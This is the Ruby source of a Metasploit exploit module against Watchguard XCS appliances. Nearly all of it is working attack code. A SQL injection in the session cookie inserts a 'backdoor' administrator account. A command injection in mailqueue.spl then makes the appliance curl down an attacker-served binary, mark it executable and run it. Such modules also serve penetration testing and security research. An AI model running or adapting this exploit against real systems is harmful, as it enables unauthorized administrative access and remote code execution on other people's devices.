This Metasploit module exploits two separate vulnerabilities found in the Watchguard XCS virtual appliance to gain command execution. By exploiting an unauthenticated SQL injection, a remote attacker may insert a valid web user into the appliance database, and get access to the web interface. On the other hand, a vulnerability in the web interface allows the attacker to inject operating system commands as the 'nobody' user.
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Watchguard XCS Remote Command Execution',
'Description' => %q{
This module exploits two separate vulnerabilities found in the Watchguard XCS virtual
appliance to gain command execution. By exploiting an unauthenticated SQL injection, a
remote attacker may insert a valid web user into the appliance database, and get access
to the web interface. On the other hand, a vulnerability in the web interface allows the
attacker to inject operating system commands as the 'nobody' user.
},
'Author' =>
[
'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
],
'Platform' => 'bsd',
'Arch' => ARCH_X86_64,
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'Watchguard XCS 9.2/10.0', { }]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 29 2015'
))
register_options(
[
OptString.new('TARGETURI', [true, 'The target URI', '/']),
OptString.new('WATCHGUARD_USER', [true, 'Web interface user account to add', 'backdoor']),
OptString.new('WATCHGUARD_PASSWORD', [true, 'Web interface user password', 'backdoor']),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
Opt::RPORT(443)
],
self.class
)
end
def check
#Check to see if the SQLi is present
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
'cookie' => "sid=1'"
})
if res && res.body && res.body.include?('unterminated quoted string')
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
# Get a valid session by logging in or exploiting SQLi to add user
print_status('Getting a valid session...')
@sid = get_session
print_status('Successfully logged in')
# Check if cmd injection works
test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')
fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
end
# We have cmd exec, stand up an HTTP server and deliver the payload
vprint_status('Getting ready to drop binary on appliance')
@elf_sent = false
# Generate payload
@pl = generate_payload_exe
if @pl.nil?
fail_with(Failure::BadConfig, 'Please select a native bsd payload')
end
# Start the server and use primer to trigger fetching and running of the payload
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
end
end
def attempt_login(username, pwd_clear)
#Attempts to login with the provided user credentials
#Get the login page
get_login_hash = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/login.spl')
})
unless get_login_hash && get_login_hash.body
fail_with(Failure::Unreachable, 'Could not get login page.')
end
#Find the hash token needed to login
login_hash = ''
get_login_hash.body.each_line do |line|
next if line !~ /name="hash" value="(.*)"/
login_hash = $1
break
end
sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''
if login_hash == '' || sid_cookie == ''
fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie')
end
login_post = {
'u' => "#{username}",
'pwd' => "#{pwd_clear}",
'hash' => login_hash,
'login' => 'Login'
}
print_status('Attempting to login with provided credentials')
login = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/login.spl'),
'method' => 'POST',
'encode_params' => false,
'cookie' => "sid=#{sid_cookie}",
'vars_post' => login_post,
'vars_get' => {
'f' => 'V'
}
})
unless login && login.body && login.body.include?('<title>Loading...</title>')
return nil
end
sid_cookie
end
def add_user(user_id, username, pwd_hash, pwd_clear)
#Adds a user to the database using the unauthed SQLi
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"
})
unless res && res.body
fail_with(Failure::Unreachable, "Could not connect to host")
end
if res.body.include?('ERROR: duplicate key value violates unique constraint')
print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
else
fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
end
true
end
def generate_device_hash(cleartext_password)
#Generates the specific hashes needed for the XCS
pre_salt = 'BorderWare '
post_salt = ' some other random (9) stuff'
hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt)
final_hash = Rex::Text.md5(cleartext_password + hash_tmp)
final_hash
end
def send_cmd_exec(uri, os_cmd, blocking = true)
#This is a handler function that makes HTTP calls to exploit the command injection issue
unless @sid
fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.')
end
opts = {
'uri' => normalize_uri(target_uri.path, "#{uri}"),
'cookie' => "sid=#{@sid}",
'encode_params' => true,
'vars_get' => {
'f' => 'dnld',
'id' => ";#{os_cmd}"
}
}
if blocking
res = send_request_cgi(opts)
else
res = send_request_cgi(opts, 1)
end
#Handle cmd exec failures
if res.nil? && blocking
fail_with(Failure::Unknown, 'Failed to exploit command injection.')
end
res
end
def get_session
#Gets a valid login session, either valid creds or the SQLi vulnerability
username = datastore['WATCHGUARD_USER']
pwd_clear = datastore['WATCHGUARD_PASSWORD']
user_id = rand(999)
sid_cookie = attempt_login(username, pwd_clear)
return sid_cookie unless sid_cookie.nil?
vprint_error('Failed to login, attempting to add backdoor user...')
pwd_hash = generate_device_hash(pwd_clear)
unless add_user(user_id, username, pwd_hash, pwd_clear)
fail_with(Failure::Unknown, 'Failed to add user account to database.')
end
sid_cookie = attempt_login(username, pwd_clear)
unless sid_cookie
fail_with(Failure::Unknown, 'Unable to login with user account.')
end
sid_cookie
end
# Make the server download the payload and run it
def primer
vprint_status('Primer hook called, make the server get and run exploit')
#Gets the autogenerated uri from the mixin
payload_uri = get_uri
filename = rand_text_alpha_lower(8)
print_status("Sending download request for #{payload_uri}")
download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
vprint_status("Telling appliance to run #{download_cmd}")
send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd)
register_file_for_cleanup("/tmp/#{filename}")
chmod_cmd = "chmod +x /tmp/#{filename}"
vprint_status('Chmoding the payload...')
send_cmd_exec("/ADMIN/mailqueue.spl", chmod_cmd)
exec_cmd = "/tmp/#{filename}"
vprint_status('Running the payload...')
send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false)
vprint_status('Finished primer hook, raising Timeout::Error manually')
raise(Timeout::Error)
end
#Handle incoming requests from the server
def on_request_uri(cli, request)
vprint_status("on_request_uri called: #{request.inspect}")
print_status('Sending the payload to the server...')
@elf_sent = true
send_response(cli, @pl)
end
end